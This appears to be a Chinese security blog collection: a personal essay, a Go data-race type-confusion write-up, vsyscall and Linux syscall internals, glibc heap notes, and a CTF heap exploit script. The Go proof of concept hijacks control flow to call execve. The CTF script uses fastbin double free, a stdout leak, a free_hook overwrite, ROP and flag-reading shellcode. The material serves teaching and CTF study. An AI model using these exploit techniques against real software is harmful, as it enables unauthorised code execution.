证明与猜想

这一年真快。这一年是现实和梦想交织的一年,感触很多,也只能自己细细品尝。

这一年听的最多歌还是周杰伦的歌,他的歌可轻可重,可缓可急,在我脑海俨然已经是一首歌一幅画了。

昨天12点刚过又听到了那首《黄昏》,突然间把我的记忆拉回了高中,午休结束的时候,广播都会放一首歌,有三首歌我印象最深刻,《城外的月光》,《盛夏的果实》,《黄昏》,每次听到这三首歌,我都能感觉我回到了高中的日子,那天午休刚起,广播还是往常播放着往常的《黄昏》,意识模糊,大多数人都还没有睡醒,小心的推开教室的门,站在阳台望着窗外,天很阴沉,刚下过雨,太阳半掩,有一些微光透过云层。那个年纪有太多的无奈,但只能那样。而《黄昏》这首歌却在不知不觉间成了高中的一个符号,而那句“过完整个夏天 忧伤并没有好一些”,又把我拉回了大三的暑假…

大三的暑假,是我经历中最热的一个夏天,没有空调,寝室电扇坏了,蚊子无处不在,但是还好有一个小风扇陪我度过了整个夏天,由于实习我并没有回家,与其说实习不如是混日子,那天下班回学校,路过的那座桥,我看见最美的傍晚,淡蓝色的天边,有一种说不出来的感受,手机却也意外没电,没办法记录那一刻。

暑假当中,我感冒了,却一直没有好转的迹象,什么也没做,却发现自己很累,我知道这不是身体问题,我把这段日子称为黑暗期,可能那时候想回家散散心吧。

还有那首《思念是一种病》,大一初识,却一直听到了现在,我感觉是我能完整唱完一首歌,感觉还不错的一首歌,它所对应的一副画是“当你在穿山越岭的另一边 我在孤独的路上没有尽头”…

依稀记得一年前,写的那篇《边界与漫想》,我说我一直在追寻自己的“边界”,在几个月前我看见了一首诗”落月随山隐,山随月落隐。“,刚开始我难想象这是如何奇妙的心境,我脑海里面一直有一副画,我是一只猴子,我坐在一座山的山顶,远处是比脚下更高的山,一轮圆月挂在比它更高的地方,月随着它自己的轨迹慢慢的落下,最后隐匿在了山的背后,而山的轮廓也随着月光的消逝,也变得隐约起来,最后隐于暗处。

而我是一只猴子,我想看看月亮去哪了,那座更高的山后面到底有什么?于是我下山,想去远处那座山,当我爬到远处那座山顶以后,面前还是群山矗立,有更高的山,也有矮一些的山,又是一轮圆月的晚上, 可月亮也不再它的后面,而是在更远的地方。

这是我脑子一直有的一副画,我对边界又一次产生了疑惑,视乎边界和月亮一样,它其实一直都你能看到的地方,只是它永远和你一定的距离。于是我不在去思考边界,它其实一直都在,不管我翻越了多少座山,它都在我能看得到的地方。

这一年有很多感动,有很多收获,不久前去了长亭,大学时候只能仰望的偶像,现在却可以和他一起畅谈,我觉得我成长了很多,但是比及这些师傅,还差的远。

回到题目的中心,《猜想与证明》,这是我在学习工作中逐渐意识到的一种有趣的解决问题的方式,在看比较巧妙的漏洞时候,在以前我常常感叹于他的利用方法,而逐渐感兴趣的点,在发生偏移,而是在于它的作者,是怎么样发现它,这前后似乎没有丝毫的逻辑,不可能对一个庞大的系统去一点点的看。

其实这一切来自于巧妙的fuzz,我称之为猜想。可能一个小小的crash,我再去探究其背后的东西,可能就会发现有意思的地方。

有一种计算矩阵乘法的算法叫strassen算法,我曾一度想去证明它,最开始把他扩展到几何图形,而后又把它扩展成三维空间,想以此来求解的时候,我看见了一个视频,里面说strassen算法并不是通过逻辑推出来的,而是通过穷举,找到一种方法,戏称如果你能找到方法推出来,就可以写一篇论文了,哈哈。

与此紧密结合在一起比如用代入法求解递归式,首先你要做的事就是猜结果,然后再去证明它。如何去猜,不仅需要你有很敏锐的直觉,还有一定创造力,并不存在一种通用的方法。当然也是存在一些方法,是可以做为启示的。

渐渐的猜想与证明的这种想法就开始在我心里疯狂生长,并不是任何事物我们都可以通过严格的逻辑推理来得出结构。这也和我想做fuzz的想法不谋而合。

如果一个事物,在某个时间段有一定的规律,我觉得应该去尝试归纳,至少这是一种方法,如果你还能证明一些特殊的状态保持,也许结果正如你期望的那样。

2020我可能会把所有的时间都放在猜想这样一件事上,至于证明,只要我的猜想引发了一些变化,我就可以通过这些变化去证明我的猜想,然后再进行略微的调整。猜想与证明是紧密结合在一起的。

那么我现在假设一个猜想在心里,我想等到2021来再去证明!

pwning-with-golang

0x00 引

在接触go以来,我一直认为go是一门相对来说比较“安全”的语言,至少我没有看见它像php一样,底层的CVE满天飞,同样底层都是用c实现的,而且相当于c来说,go不用考虑数组越界,不用考虑内存的分配释放,用户无法直接像c一样操作内存,所以我一度认为它是内存安全的。因为无法直接操作内存,似乎也无法通过某种方法劫持它的PC。

go是一门静态语言,不同类型直接是无法做到直接相互转换的,但是这里有一个例外--interface,它应该算是go里面最大的特色之一,理论上的duck typing,任何类型都是可以直接转换为interface。它也是一个静态类型,只是里面内容是运行时确定的。

基础静态类型var A interface{}和带方法的type A interface {},内部实现又是不太一样的。

因为google ctf final 2019里面的一道gomium让我重新认识了go,原来是可以通过某种方式去打破go所维护的安全机制。所以有了此文,此文用于记录如何通过unsafe包来操作内存和竞争来劫持程序流。

0x01 unsafe package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import "unsafe"

type Mem struct {
addr *uintptr // actually == &m.data!
data *uintptr
}

// Peek reads and returns the word at address addr.
func (m *Mem) Peek(addr uintptr) uintptr {
*m.addr = addr
return *m.data
}

// Poke sets the word at address addr to val.
func (m *Mem) Poke(addr, val uintptr) {
*m.addr = addr
*m.data = val
}

func NewMem() *Mem {
m := new(Mem)
m.addr = (*uintptr)(unsafe.Pointer(&m.data))
return m
}

这个Mem结构很巧妙,其中有两个字段,Mem.addr记录是Mem.data的地址即&Mem.data. 它能接受一个整型变量,并把这个整型变量转换为一个整型指针,这个整型指针的值与整型变量的值一样,其中指针类型大小取决于操作系统平台,即uintptr大小。

其中对应读写的两个操作是通过写Mem.addr的值来读*Mem.data的值或者写*Mem.data来完成任意读写内存的操作。

unsafe.Pointer在这里的意义是能返回任何一个指向任意类型的指针。在这里相当于把 **uintptr转换为了*uintptr.这是任意读写的最本质的问题所在。

0x02 data race

如果说unsafe是go给的一个特殊机制,赋予了用户读写内存的机会。如果说现在有一个sandbox,禁用了所有存在威胁package,以白名单的形式,这种情况下,是否有机会完成上述操作呢?data race就是在违背go设计机制的情况,用不同goroutine同时操作slice和interface的一种方式。

整型,浮点型,数组这种基础类型,其实比较好理解,那么比如切片,字符串,map,interface怎么去理解呢?

1
2
3
4
5
struct slice{
byte* array;
uintgo len;
uintgo cap;
}
可以看到切片实际底层还是指向的一个数组,但是只是引用了数组其中的一部分,len代表引用的长度,而cap代表这个数组长度,保证slice在引用的时候不会out of index。
1
2
3
4
5
6
7
8
9
10
11
struct interface {
Itab* tab
void* data //实际储存的数据
}

struct Itab {
InterfaceType* inter// 接口定义的方法列表
Type* type //实际存储的结构类型
longlong[3] interdata
void (*fun[])(void);//实际存储结构方法列表
}
这里结构指的是带方法的interface结构,并不是空接口类型。注意这一点 可以看到实际上slice和interface并不是一个c语言里面基础类型,而是一个结构,所以这里面有一点是必须注意到的,他们在初始化或者赋值的时候,从更底层汇编的角度来说,这个过程是一串指令而不是单独一个指令,即对他们的读写操作并不是一个原子操作。

那么在并发操作的时候就可能存在一些问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
type confuse interface {
x(num uint64, cmd uint64, args uint64, env uint64)
}

type safe struct {
i *uint64
}

type unsafe struct {
f func(num uint64, cmd uint64, args uint64, env uint64)
}

func (t safe) x(num uint64, cmd uint64, args uint64, env uint64) {
return
}

func (t unsafe) x(num uint64, cmd uint64, args uint64, env uint64) {
if t.f != nil {
//fmt.Println(t.f)
t.f(num, cmd, args, env)
}
}

func test(num uint64, cmd uint64, args uint64, env uint64) {
fmt.Println(num)
fmt.Println(cmd)
fmt.Println(args)
fmt.Println(env)
}

func main() {
var i int=0
///usr/bin/gnome-calculator
cmd := [30]byte{47, 117, 115, 114, 47, 98, 105, 110, 47, 103, 110, 111, 109, 101, 45, 99, 97, 108, 99, 117, 108, 97, 116, 111, 114}
//DISPLAY=:1
display := [20]byte{68, 73, 83, 80, 76, 65, 89, 61, 58, 49}
var args [2]uint64
args[0] = address(&cmd)
var envs [2]uint64
envs[0] = address(&display)
var con confuse
adr_execve := address(test)
adr_cmd := address(&cmd)
type_safe := &safe{i: &adr_execve}
type_unsafe := &unsafe{}
con = type_safe
go func() {
for {
i++
con = type_unsafe
func() {
if i < 0 {
fmt.Println("maplesss")
}
return
}()
con = type_safe
}
}()

for {
con.x(uint64(59), adr_cmd, address(&args), address(&envs))
}
}
这一段代码最重要的核心在于
1
2
3
4
5
6
go1 :
con = type_unsafe
con = type_safe

go2 :
con.x(uint64(59), adr_cmd, address(&args), address(&envs))
上述两个goroutine,go1在不断交替给con赋值不同结构,赋值过程是一串指令,相当于con的更新过程,对应着修改底层所对应的interface结构里面的字段。go2却在不断调用con定义的方法,这两个过程是并发进行。这里面就会出现一个问题。

con所指向的interface里面最重要的是实际保存结构的值和实际结构所定义的方法。那么就可能出现一个过程,现在数据值变化了,保存对应方法的函数列表指针还没来的及更新,那可能导致context和对应的方法不一样。上面就可能出现用着safe的数据,调用确实unsafe的方法。如果unsafe里面字段是一个func类型,那么这样就相当于伪造出一个指向任意地址的函数指针,也就是我们常说一种类型混淆漏洞。

go里面是默认编译是忽略aslr的,当你编译一个go的普通二进制,在其符号表里面是可以看到默认是有syscall调用代码片段,并且我们能不用考虑aslr,直接用它。

在早期go里面,定义的全局变量,编译完成之后是放在text里面的,即是有执行权限的。这非常有趣。

上面我们通过竞争劫持pc,然后用基础类型来控制传参,go普通函数调用和c是一样的,所以用基础类型能完成一切,而方法调用是一种语法糖衣,函数的一个参数是方法所对应的结构本身。

安装上面的思路slice的赋值也不是原子操作,所以也可能存在问题:

1
2
3
4
5
6
7
8
9
short := make([]int, 1)
long := make([]int, 2)
confuse := short

go1 :
confuse = long
confuse = short
go2 :
confuse[1] = 0xfffffff
在更新confuse的时候底层数组的指向变了,而cap的值还没有来得及更新。就可以oob写了

还有一段有意思的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
type Mem struct {
addr *uintptr // actually == &m.data!
data *uintptr
}

func NewMem() *Mem {
fmt.Println("here we go!")
m := new(Mem)
var i, j, k interface{}
i = (*uintptr)(nil)
j = &m.data

// Try over and over again until we win the race.
done := false
go func(){
for !done {
k = i
k = j
}
}()
for {
// Is k a non-nil *uintptr? If so, we got it.
if p, ok := k.(*uintptr); ok && p != nil {
m.addr = p
done = true
break
}
}
return m
}
这段代码也很巧妙的不利用unsafe包的情况下把 **uintptr 转换成了*uintptr

end

go原来这么有趣,这都是以前没有想过的思考面。所以记录下来。 下面一篇文章里面提出了一种修复的方式。造成data race的本质是更新interface使得老数据和新数据混杂了在一起。通过修改底层的interface结构,是其只有一个指针,执行上面红色方格的结构,当修改的时候,直接修改interface里面的指针,保证红色方框里面的结构不改变,但是代价是需要维护这样一个红色方框结构的列表。在如今的go里面上述方法同样试用,即并没有采用这种方法。

link

https://research.swtch.com/gorace https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html https://github.com/google/google-ctf/tree/master/2019/finals/pwn-gomium

vsyscall 到底应该怎么用?

syscall 前面加个V,v是virtual的意思,顾名思义,把syscall放在一个特殊的地方,而这个位置是一个比较特殊的虚拟地址区域,简称fixed-map.

PIE保护详解和常用bypass手段 一文中提到了用vsyscall来当ret gadget,可以用来跳栈,因为vsyscall的位置是固定的,可以在/root/linux/Documentation/x86/x86_64/mm.txt找到它的位置:

1
ffffffffff600000 - ffffffffff600fff (=4 kB) legacy vsyscall ABI

可以看到这其实一个已经被废弃的ABI. 在上述文章评论有一些疑惑,跳到vsyscall上去执行相关系统调用的时候,还是出错了,文中也提到了只能跳到syscall起始的位置才能执行不出错。这是为什么呢?

在 linux inside 一书中的linux-syscall-3.html 的章节已经阐述的很清楚了。我再给它搬一遍

vsyscall是一个预先设定好的地址,就是上面的说的fixed-map,当然只能保证这个位置不被其他过程占用,这个地址里面是否存在相应的syscall,取决于一个参数vsyscall_mode

vsyscall的设定有三种模式:

  • native
  • emulate
  • none

最后一个模式好说,不专门去为每个用户态的进程里面映射vsyscall的区域。前两种模式的最大的区别在于,vsyscall的这个内存区域的属性。

1
2
#define __PAGE_KERNEL_VSYSCALL  (__PAGE_KERNEL_RX | _PAGE_USER)
#define __PAGE_KERNEL_VVAR (__PAGE_KERNEL_RO | _PAGE_USER)

第一个宏对应着native ,第二宏对应着emulate,可以看到他们都是内核和用户都可以访问的区域,但是第一个允许页执行。这也就对应了不同模式。

native下就可以直接在vsyscall区域上执行syscall,syscall过程不在这里阐述,可以看看我前一篇总结。

而在emulate下这个时候是不允许去执行,这个时候就会引发page fault,内核在处理page fault的时候,其中有一步会去判断这个地址是不是属于vsyscall ,可能就需要做额外的操作:

1
2
3
4
5
if (unlikely((error_code & X86_PF_INSTR) &&
((address & ~0xfff) == VSYSCALL_ADDR))) {
if (emulate_vsyscall(regs, address))
return;
}

regs是一个pt_reg结构保存着发生page fault的时候当时的寄存器状态。所以这个emulate 模式的具体实现 ,其实在emulate_vsyscall这个函数里面

这个函数做了下面几件事:

  • vsyscall_mode 是否为emulate
  • addr_to_vsyscall_nr(address),这是一个从地址映射到系统调用号的过程,因为syscall调用起始地址都是1024对齐的。所以编号可以很容易的 >>12,编号从0开始。
  • 判断系统调用号是否正确
  • 判断系统调用过程中传递的参数地址是否可以访问和写。例如其中的gettimeofday调用过程,需要传递2个参数timevaltimezone,根据C ABI规则,需要验证rdirsi这两个地址是否可以访问。
  • 完成系统调用返回结果
  • 错误处理,返回SIGSEGV

因为第二步的映射过程,所以我们必须要跳到syscall的起始,由于在还需要验证参数的合法性,所以在用vsyscall的时候,还要取决于rdi,rsi这些寄存器里面的值合法性的问题,就是能不能写的问题。

思考

这可能也就是上面文章评论下面出现的问题。vsyscall已近乎被废弃,被vdso替代,其实也很难去利用。但是vsyscall地址是固定的,但是vdso相当于动态加载库,那glibc是怎么实现调用里面函数的呢? 很简单,先在glibc里面定义一个,把它设置为弱符号函数,在vdso加载时候gettimeofday也就重新定义了。

1
2
3
4
5
6
7
8
9
int
__gettimeofday (struct timeval *tv, struct timezone *tz)
{
__set_errno (ENOSYS);
return -1;
}
libc_hidden_def (__gettimeofday)
weak_alias (__gettimeofday, gettimeofday)
libc_hidden_weak (gettimeofday)

linux-kernel-syscall-inside

小菜

当我们在用户层写应用的时候,如果我们锁定一段代码或者更具体一个函数,当我们以递归的方式去研究这个函数的时候,函数栈到头了,最后的代码肯定是一段汇编或者一个syscall即系统调用,一般到这,我们就应该停止了,这样看起来操作系统给我印象永远是一个黑匣子。它干了啥我不知道,但是我如果遵循的它的规则,我总能得到我想要的。

其实这对于写应用的人来说是幸运的。我曾经去读linux代码遇到的最大困难也和这个类似,在用户态看到汇编我就停了,而linux里面的宏居多,函数递归调用更深,还有不同处理器的分支。如果我遵循在用户态开始的想法,读代码的进度会奇慢,甚至低效。

后来买了linux 4 amd64的一本书,在书中我找到了答案,刚开始最重要的是,理解数据结构和数据结构的关系,函数间的调用关系,不要过分探究函数具体实现。若有兴趣,再往下。

syscall到底干了啥?

有很多不同系统调用,比如open,write,read,exit 等等,把操作系统想象成第一个启动的进程,而操作系统能直接操作硬件,把操作系统想象成一个巨大的虚拟机,我们的应用在其基础上来运行,我们应用也需要IO操作,内存操作,网络操作,但是操作系统把硬件和我们的应用完全隔离开来了,所以这个时候操作系统需要给应用相关的接口。

但是这个接口并不是用户态的函数,他还是内核态的过程(下面都用内核来描述操作系统)。当用户态需要调用内核的接口的时候,这个时候就需要告诉内核,我要做一些操作,处理器就可以把当前的用户进程执行切换到内核态,ok在内核态了,现在这些系统调用对应的内核过程可以执行了。

所以syscall就是一个用户态和内核态切换的过程,从r3 切换到r0去执行一些过程。除了系统调用会切换到内核态,那么还有什么过程会呢?还有一个错误发生的时候,比如除0,或者读非法地址。其实这些过程可以统称为两个过程:

  • expection handler
  • interrupt handler

系统调用过程就可以归纳于interrupt handler,这里面还有一些东西,需要理清楚: - 用户应用发起系统调用,需要传递一些参数,这些参数如何传递给内核? - 处理器是怎么从用户态切换到内核态上的?

首先解决第一个问题,这个问题的答案可以在不同arch分支下syscall_entry找到,例如x86_x64下的/arch/x86/entry/entry_64.S

1
2
3
4
5
6
7
8
9
10
11
* Registers on entry:
* rax system call number
* rcx return address
* r11 saved rflags (note: r11 is callee-clobbered register in C ABI)
* rdi arg0
* rsi arg1
* rdx arg2
* r10 arg3 (needs to be moved to rcx to conform to C ABI)
* r8 arg4
* r9 arg5
* (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
可以看到不同寄存器分别保存一些值,这里调几个具体讲: * rax 系统调用号 * rcx 为什么要用它来保存用户态返回地址呢? 对应系统调用返回指令 sysretq * rcx被上面用掉了,但是rcx在C ABI中是函数调用过程中的参数值保存的地方,被用掉了这里只能先用r10来保存arg3,之后为了对应C ABI,因为linux kernel也是c写的,需要把r10的值放到rcx中。

其他就不用说了,注释写的都很详细。再看第二个问题,处理器是怎么切换到r0内核态的,直接看syscall这个指令的作用:

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.)

SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

SYSCALL loads the CS and SS selectors with values derived from bits 47:32 of the IA32_STAR MSR. However, the CS and SS descriptor caches are not loaded from the descriptors (in GDT or LDT) referenced by those selectors. Instead, the descriptor caches are loaded with fixed values. See the Operation section for details. It is the responsibility of OS software to ensure that the descriptors (in GDT or LDT) referenced by those selector values correspond to the fixed values loaded into the descriptor caches; the SYSCALL instruction does not ensure this correspondence.

浓缩一下:

  • RCX ← RIP;
  • RIP ← IA32_LSTAR;
  • R11 ← RFLAGS;
  • RFLAGS ← RFLAGS AND NOT(IA32_FMASK);
  • CS.Selector ← IA32_STAR[47:32] AND FFFCH
  • SS.Selector ← IA32_STAR[47:32] + 8;

其中IA32_LSTARSh和IA32_STAR都是MSR(model special register),分别保存了系统调用的入口点和内核态的CS和SS。可以看到这一步没有涉及到切栈,那么把栈切到内核栈这个过程发生在系统调用的入口点里面。

系统调用入口点

linux kernel的系统调用点过程是用汇编写的,具体就x86_x64来看:

1
2
3
4
ENTRY(entry_SYSCALL_64)
swapgs
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
这是第一步,上面说了syscall并不能切栈,那么在entry_syscall_64第一步就是切栈,swapgs=>GS.base ← IA32_KERNEL_GS_BASE;,这一步把GS换成了内核态的GS,内核GS是pre_cpu结构的段地址,里面保存着和每个处理器核心相关结构,这个结构里面就有需要栈地址,对应了紧接着的两步movq,这就完成了栈的切换。

接下来就是保存此时用户态的各个寄存器的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
对应着一个栈上的结构pt_regs,接下来就是根据rax传递进来的具体系统调用号去找对应的调用过程:
1
call	*sys_call_table(, %rax, 8)

这个sys_call_table相当于是一张系统调用表:

1
2
3
4
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
#include <asm/syscalls_64.h>
};
其中syscalls_64.h是编译过程中产生的如下:
1
2
3
4
5
6
7
8
#define __SYSCALL_COMMON(nr, sym, compat) __SYSCALL_64(nr, sym, compat)
#define __SYSCALL_64(nr, sym, compat) [nr] = sym,

__SYSCALL_COMMON(0, sys_read, sys_read)
__SYSCALL_COMMON(1, sys_write, sys_write)
__SYSCALL_COMMON(2, sys_open, sys_open)
__SYSCALL_COMMON(3, sys_close, sys_close)
__SYSCALL_COMMON(5, sys_newfstat, sys_newfstat)
最终syscall_table就如下:
1
2
3
4
5
6
7
8
9
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
[0 ... __NR_syscall_max] = &sys_ni_syscall,
[0] = sys_read,
[1] = sys_write,
[2] = sys_open,
...
...
...
};
sys_read, sys_write这些函数的定义如何而来:
1
2
3
4
5
6
7
8
9
10
11
#define SYSCALL_DEFINE3(name, ...) SYSCALL_DEFINEx(3, _##name, __VA_ARGS__)

#define SYSCALL_DEFINEx(x, sname, ...) \
SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)

SYSCALL_DEFINE3(write, unsigned int, fd, const char __user *, buf,
size_t, count)
{
...
}
最后的效果如下:
1
asmlinkage long sys_write(unsigned int fd, const char __user * buf, size_t count);

need to know

  • CVE-2009-0029 这个CVE可以看看。
  • #define __NR_syscall_max 非固定编译时候产生的
  • 系统调用过程中x32的兼容模式处理可以注意下。
  • syscall_entry 中存在的debug 和 trace 过程可以去细究,比如trace可能就是seccomp的实现过程。
  • 除了sysret可以返回 iret也可以返回,返回处理有一定区别!

资料

xunca2018

Note

找状态的一题,也学到很多新东西,善。

the way

the exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn_debug import *

#context.log_level = 'debug'

ins = pwn_debug('./steak')
ins.debug('2.23')

p = ins.run('debug')

def add(size,content):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('buf:')
p.sendline(content)

def delete(index):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))

def edit(index,size,content,no):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('buf:')
if no:
p.send(content)
else:
p.sendline(content)

def copy(src,dst,length):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(src))
p.recvuntil('index')
p.sendline(str(dst))
p.recvuntil('length:')
p.sendline(str(length))

add(0x60,'AAAA')#0
add(0x60,'BBBB')#1
delete(0)
delete(1)
delete(0)
add(0xf0,'CCCC')#2
add(0x10,'i am solider')#3
delete(2)
add(0x60,'AAAA')#4
add(0x60,'BBBB')#5
copy(2,4,8)
#raw_input('stop')
edit(4,2,str("\xdd\x55"),1)
add(0x60,'dfff')#6
#stdout_flag_adr 0x7ffff7dd5620
#stdout_io_write_base 0x7ffff7dd5638
#fake_fastbin_chunk 0x7ffff7dd55e5-0x8 0x70
add(0x60,'got_stdout');#7

fake_stdout = "\x00"*(0x7ffff7dd5620-0x7ffff7dd55ed)+p64(0xfbad1800)+"\x00"*0x19
#raw_input('stop')
edit(7,len(fake_stdout),fake_stdout,1)
# 0x39c600
leak_adr = u64(p.recvuntil('copy')[65:65+6].ljust(8,'\x00'))
libc_adr = leak_adr-0x39c600
p.info('[*] libc addr {}'.format(hex(libc_adr)))
#p.info('[*] test {}'.format(p.recvuntil('\x0a>')))

#one_gadget 0x3f43a
#free_hook 0x7ffff7dd67a8
one_gadget = 0x3f43a
delete(0)
#bss_fake_fast_chunk
edit(0,8,p64(0x60218d),1)
add(0x60,'AAAA')#8
#got bss
add(0x60,'f')#9
change_bss_arr = "\x00"*3+p64(0x7ffff7dd67a8)
edit(9,len(change_bss_arr),change_bss_arr,1)
#change free_hook
#0x000000000015a6b8 : xchg eax, edi ; xchg eax, esp ; ret
#thats fking amazing free_hook with that gadget can do anything,no need leak heap adr or stack adr
edit(0,8,p64(0x7ffff7b936b8),1)

#mprotect
#0x7ffff7a3aebb: retf

context.bits=32

#print shellcraft.i386.linux.open('./flag')
# open -> read ->write
s = '''
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f2e
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax,5
int 0x80
mov ebx, eax
mov eax,3
mov ecx, 0x602900
mov edx,0x50
int 0x80
mov eax,4
mov ebx, 1
mov ecx, 0x602900
mov edx,0x50
int 0x80
'''
change_bss_arr2shellcode=asm(s)

context.bits=64

#where put shellcode
edit(9,len("\x00"*3+p64(0x602500)),"\x00"*3+p64(0x602500),1)
edit(0,len(change_bss_arr2shellcode),change_bss_arr2shellcode,1)
#rop
#0x0000000000400ca3 : pop rdi ; ret
#0x0000000000400ca1 : pop rsi ; pop r15 ; ret
#0x7ffff7b34b54 pop rdx ; pop rbx ; ret
#0x7ffff7b1f65a pop rax ; ret
#mov rdi,m_addr
#mov rsi,0x1000
#mov rdx,7 #read_write_exec
#mov eax, 0Ah
#syscall
rop = p64(0x400ca3)+p64(0x602000)+p64(0x400ca1)+p64(0x1000)*2+p64(0x7ffff7b34b54)+p64(7)+p64(0)+p64(0x00007ffff7b1c5f0)+p64(0x17f6f4+libc_adr)+p64(0x602500)+p64(0x23)

edit(2,len(rop),rop,1)
raw_input('stop')
delete(2)
p.interactive()

glibc堆管理一些思考

一些想说给自己的话

思考过程:学会了怎么用->想知道它的原理->为什么它要这样实现,而不是那样。

一样的东西,每次重新看它都会不一样的体会,这是因为你还不够了解它,如果想要了解某个东西,无非两种方法,重复使用它或者了解它的本质。而我曾经陷入了尴尬的境遇,没有重复使用,也没有究其本质,我以为我懂了,却只是停留在思考过程的第二个阶段。学会的东西始终会忘记,即使你写下来,以后再来看的时候,也需要很多时间去重新理解,因为万事万物并不是独立存在,而是通过一根根细微的线,相互关联。我现在能理解当前的东西,随着时间的流失,这些线会断,而重新面对的时候又需要把线连接起来,费事费力。

那么又如何去面对这种问题呢?取决于你的抽象能力,把当前理解的事物尽可能抽象成独立的东西。例如php里面的数组,其实这一种很抽象的结构,基本结构里面没有这样的数组类型。但是说到php数组的时候,大多数情况下我也不会去考虑它底层是怎么实现的。

终其事物的本质,本质似乎是一个无穷远点,应该去找到一个合适的位置,位置以下都抽象成一个点,当做事物的本质,已然足够,善。

ptmalloc 分配器模型值得了解的点

  • ptmalloc封装的是系统调用,避免频繁的系统调用的中断
  • ptmalloc会带来最大影响是内存碎片,最坏的情况到最坏可能导致OOM
  • 还有很多像ptmalloc一样的分配器模型,它们区别在于metadata 和 算法。
  • ptmalloc的算法原理是 边界标记: 赋予了chunk之间合并和从任意块遍历其他块的能力 装箱结构: bins查找顺序smallest-first, best-fit顺序。

ptmalloc里面会考虑的一些情况: - 局部性:在CPU访问寄存器时,无论是存取数据抑或存取指令,都趋于聚集在一片连续的区域中,这就被称为局部性原理。 时间局部性(temporal locality) :被引用过一次的存储器位置在未来会被多次引用(通常在循环中)。
空间局部性(spatial locality):如果一个存储器的位置被引用,那么将来他附近的位置也会被引用。 ptmalloc局部性应用在fastbin的FILO结构上,充分考虑局部性,在一定周期类密集的操作,减少cpu 的cache miss。 - 荒野区域: 相当于topchunk的位置,最靠近边界的区域,topchunk的大小可以看做是最大的chunk,因为sbrk可以扩张,对它的处理应该放在最后。 - 内存映射:何时用mmap,用mmap带来的开销,内置threshold size,超过该值就应该使用mmap,同时arena可以设置threshold size不仅考虑sbrk的扩展,也需要考虑其收缩的过程。 - 缓存:chunk在合并和分割的过程需要成本,这里衍生了两种缓存方式 延迟合并: fastbin 预先分割 - Lookaside: 由于metadata里面固定字段损耗,在某些时刻是不能忽视的,比如一个分配最小的chunk为16字节,但是程序需要大量使用大小为8字节的node,那么这个时候的损耗就达到了%100. 这个时候就需要设计一种没有metadata的方式,但是还要兼容以前的设计。这个时候唯一能做文章就是内存地址,划分一块特殊的内存出来。但是在ptmalloc并没有实现这种,因为无法很好的猜测用户使用的不同的内存块。在这一块更加鼓励应用自己构造一个简单的分配器,自己构造一个nodefreelist,然后使用malloc作为后备,类似malloc使用mmap和brk作为后备。

request2size 设计细节

这是一段_int_malloc里面根据用户请求计算真实大小的chunk的过程。

1
2
3
4
#define request2size(req)                                         \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
我第一次看这个地方的时候, 其实有一点不理解为什么要这样写。如果按照我的理解应该是下面这么写:
1
2
3
4
#define request2size(req) \
(((SIZE_SZ+(req)) <=MINSIZE) ? \
MINSIZE : \
((SIZE_SZ+(req)+ALLOC_ALIGN_MASK) & ~ ALLOC_ALIGN_MASK))
首先为什么是SIZE_SZ+(req)?
1
2
`SIZE_SZ*2+(req)` //考虑虚拟地址上连续的下一个chunk的prev字段也可以用
`SIZE_SZ+(req)`
